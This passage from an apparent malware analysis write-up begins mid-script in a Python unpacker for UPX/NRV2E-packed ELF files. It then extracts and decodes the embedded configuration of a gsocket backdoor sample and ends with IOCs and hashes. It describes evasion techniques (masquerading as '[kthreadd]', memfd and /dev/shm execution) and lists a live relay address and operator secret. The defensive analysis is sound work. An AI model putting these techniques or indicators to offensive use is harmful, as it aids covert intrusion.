remaining = total_wanted - seen
for start in range(off, len(d) - 12):
chain, total, cur = [], 0, start
while total < remaining:
bi = read_b_info(d, cur)
if bi is None:
break
sz_unc, sz_cpr = bi
chain.append((cur, sz_unc, sz_cpr))
total += sz_unc
cur += 12 + sz_cpr
if total == remaining and chain:
return blocks + chain
# Diagnose the most likely cause before giving up.
probe = struct.unpack_from('<IIBBBB', d, off) if off + 12 <= len(d) else None
hint = ""
if probe and probe[2] == M_NRV2E_LE32 and probe[3] != 0:
hint = ("\n next b_info @0x%X has b_ftid=0x%02X (a UPX filter, e.g. 0x49"
"\n = ctojr x86 call/jmp transform). Filters are not implemented"
"\n here; the samples this was written for use b_ftid=0."
% (off, probe[3]))
elif probe and probe[2] != M_NRV2E_LE32:
hint = ("\n next b_info @0x%X has method=%d, not %d (NRV2E_LE32)."
% (off, probe[2], M_NRV2E_LE32))
sys.exit("ERROR: blocks sum to %d, expected %d (tail chain not found)%s"
% (seen, total_wanted, hint))
def original_regions(hdr, filesize, hdr_size):
"""Rebuild the original file's layout (offset, size) from its phdrs.
The Ehdr+phdrs are always stored as their own first block, so the opening
PT_LOAD region is split at that boundary.
"""
e_phoff = struct.unpack_from('<Q', hdr, 0x20)[0]
e_phentsize = struct.unpack_from('<H', hdr, 0x36)[0]
e_phnum = struct.unpack_from('<H', hdr, 0x38)[0]
loads = []
for i in range(e_phnum):
p = struct.unpack_from('<IIQQQQQQ', hdr, e_phoff + i * e_phentsize)
if p[0] == 1: # PT_LOAD
loads.append((p[2], p[5])) # (p_offset, p_filesz)
loads.sort()
regions, cursor = [(0, hdr_size)], hdr_size
for p_offset, p_filesz in loads:
if p_offset > cursor: # padding between segments
regions.append((cursor, p_offset - cursor))
cursor = p_offset
end = p_offset + p_filesz
if end > cursor:
regions.append((cursor, end - cursor))
cursor = end
if filesize > cursor: # shdrs / .shstrtab / .comment
regions.append((cursor, filesize - cursor))
return regions
# ---------------------------------------------------------------------- main
def main():
if len(sys.argv) != 3:
sys.exit(__doc__.strip())
packed, out_path = sys.argv[1], sys.argv[2]
d = open(packed, 'rb').read()
if d[:4] != b'\x7fELF':
sys.exit("ERROR: %s is not an ELF file" % packed)
l_info = find_l_info(d)
p_progid, p_filesize, p_blocksize = struct.unpack_from('<III', d, l_info + 12)
print("l_info @ 0x%X" % l_info)
print("p_info.filesize %d (0x%X)" % (p_filesize, p_filesize))
blocks = collect_blocks(d, l_info, p_filesize)
print("\nblocks found: %d" % len(blocks))
for off, sz_unc, sz_cpr in blocks:
print(" b_info @0x%06X unc=%-9d cpr=%-9d" % (off, sz_unc, sz_cpr))
chunks = {}
for off, sz_unc, sz_cpr in blocks:
chunks.setdefault(sz_unc, []).append(
nrv2e_decompress(d[off + 12:off + 12 + sz_cpr], sz_unc))
# Block 0 is always the original Ehdr + phdrs. UPX stores it with its
# e_ident magic zeroed in these samples; restore it so the phdrs parse.
hdr = bytearray(chunks[blocks[0][1]][0])
hdr[0:4] = b'\x7fELF'
chunks[blocks[0][1]][0] = bytes(hdr)
regions = original_regions(hdr, p_filesize, blocks[0][1])
print("\noriginal layout:")
img = bytearray(p_filesize)
for offset, size in regions:
if not chunks.get(size):
sys.exit("ERROR: no block of size %d for region @0x%X" % (size, offset))
data = chunks[size].pop(0)
img[offset:offset + size] = data
print(" 0x%08X +0x%-8X (%d bytes)" % (offset, size, size))
open(out_path, 'wb').write(bytes(img))
e_shoff = struct.unpack_from('<Q', img, 0x28)[0]
e_shentsize = struct.unpack_from('<H', img, 0x3A)[0]
e_shnum = struct.unpack_from('<H', img, 0x3C)[0]
print("\nwrote %s (%d bytes)" % (out_path, len(img)))
print("sha256 %s" % hashlib.sha256(img).hexdigest())
print("e_shoff=%d e_shnum=%d -> shdr table ends at %d %s"
% (e_shoff, e_shnum, e_shoff + e_shnum * e_shentsize,
"(== file size, layout consistent)"
if e_shoff + e_shnum * e_shentsize == len(img) else "(MISMATCH)"))
if __name__ == '__main__':
main()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import struct, sys
class Bits:
def __init__(self, src):
self.src = src; self.ip = 0; self.bb = 0; self.bc = 0
def getbit(self):
if self.bc == 0:
self.bb = int.from_bytes(self.src[self.ip:self.ip+4], 'little')
self.ip += 4; self.bc = 32
bit = (self.bb >> 31) & 1
self.bb = (self.bb << 1) & 0xffffffff
self.bc -= 1
return bit
def byte(self):
b = self.src[self.ip]; self.ip += 1; return b
def nrv2e(src, expected_len=None):
s = Bits(src); op = bytearray(); last_m_off = 1
while True:
while s.getbit():
op.append(s.byte())
if expected_len and len(op) >= expected_len: return bytes(op)
m_off = 1
while True:
m_off = m_off*2 + s.getbit()
if s.getbit(): break
m_off = (m_off-1)*2 + s.getbit()
if m_off == 2:
m_off = last_m_off
m_len = s.getbit()
else:
m_off = (m_off-3)*256 + s.byte()
if m_off == 0xffffffff: break
m_len = (m_off ^ 0xffffffff) & 1
m_off >>= 1
m_off += 1
last_m_off = m_off
if m_len:
m_len = 1 + s.getbit()
elif s.getbit():
m_len = 3 + s.getbit()
else:
m_len = 1
while True:
m_len = m_len*2 + s.getbit()
if s.getbit(): break
m_len += 3
if m_off > 0x500: m_len += 1
for _ in range(m_len + 1):
op.append(op[len(op)-m_off])
if expected_len and len(op) >= expected_len: return bytes(op)
return bytes(op)
Which produces the final original gsocket binary used.
| Hash |
|---|
| 0a7d5cd06f45e3cffae73ec02f4b572faa4a062b798ff3050c8742cc66a3d75a |
Config Extraction from gsocket
Tool gsocket is capable of storing its configuration inside itself. This sample uses this approach and configuration is stored in the last 664 bytes of the file.
The configuration is in the full ELF, i.e. the UPX-packed one, the unpacked is the original gsocket compilation used, but it does not contain the configuration.
- https://github.com/hackerschoice/gsocket/blob/beta/tools/gsnc-utils.c
- https://github.com/hackerschoice/gsocket/blob/beta/tools/gsnc-utils.h
The whole config blob is xored with 0xab by default and the magic string with 0x1f.
It is found in sub_2d7d0 in the sample. In this case the file.dat embedded config is 664 bytes.
1
2
3
4
fseek(fp, -0x298, SEEK_END); /* last 664 bytes of the file */
fread(buf, 0x298, 1, fp);
for (i = 0; i < 0x298; i++) buf[i] ^= 0xAB; /* XOR de-obfuscation */
/* verify magic at buf[0x290] == "8xKd12TX" ^ 0x1F */
Here is its decompilation seen in ghidra.
The decoded configuration stored is this.
Decoded configuration
| Offset | Field | Value |
|---|---|---|
0x000 | GS_HOST (GSRN relay) | 103.253.27.96 |
0x080 | GS_PROC_HIDDENNAME | [kthreadd] |
0x0C0 | GS_PORT | 443 |
0x0C4 | beacon / delay-start | 0 (disabled) |
0x0CC | flags | 0x00480140 |
0x0D0 | GS_SECRET | 4jkuTMcyat7L6eAGJCn93t |
0x290 | magic | 8xKd12TX (stored ^0x1F, whole blob ^0xAB) |
As GS_PROC_HIDDENNAME is configured gsocket relaunches itself again with execve() so the final process name is [kthreadd].
Also is worth noting that gsocket can fall-back to /dev/shm.
1
2
3
argv[0] = hidden_name;
if (gopt.flags & GSC_FL_MEMEXEC) { unsetenv("GS_NOMEMEXEC"); try_memexecme(hidden_name, src, argv); }
try_cpexecme(hidden_name, "/dev/shm", src, argv);
If memfd_create fails, it falls back to copying itself into /dev/shm and exec’ing from there. So on a host where memexec was blocked, you’d have a real file on disk in /dev/shm
IOCs
Network
103.253.27.96:443— private GSRN relay (outbound TLS-looking, long-lived, low-volume, keep-alive pattern)gs.thc.org— compiled-in fallback relay- gsocket secret
4jkuTMcyat7L6eAGJCn93t(identifies the campaign/operator)
Host
- Process shown as
[kthreadd]whose/proc/<pid>/cmdlineis non-empty,PPID != 2, and which has established sockets. /proc/<pid>/exe→/memfd: (deleted)— any such process is worth investigating; combined with a network connection it is near-conclusive./proc/<pid>/mapscontaining/memfd:.- A shell script whose third line is a single, newline-free, multi-hundred-kilobyte blob and whose first
evalis assembled from backtick fragments. - Command line
perl -e$^F=255;for(319,279,385,...or anysyscall+/proc/$$/fd/combination. sh -cchildren ofperlrunningopenssl enc -d -aes-256-cbc -md sha256 -nosalt -k.
Hashes
| Artifact | SHA-256 |
|---|---|
netd.sh (dropper) | 532015ceef91eff71878ee50e84efb8902d78bb5c34db25a241c5866784a840e |
| decrypted UPX-packed ELF | 89e906327d8e85067e16f3eb077a4a891fd01773460363b235918035314703ea |
unpacked gsocket | 0a7d5cd06f45e3cffae73ec02f4b572faa4a062b798ff3050c8742cc66a3d75a |
Malware Bazaar Reference
| Artifact | URL |
|---|---|
netd.sh (dropper) | https://bazaar.abuse.ch/sample/532015ceef91eff71878ee50e84efb8902d78bb5c34db25a241c5866784a840e/ |
| decrypted UPX-packed ELF | https://bazaar.abuse.ch/sample/89e906327d8e85067e16f3eb077a4a891fd01773460363b235918035314703ea/ |
























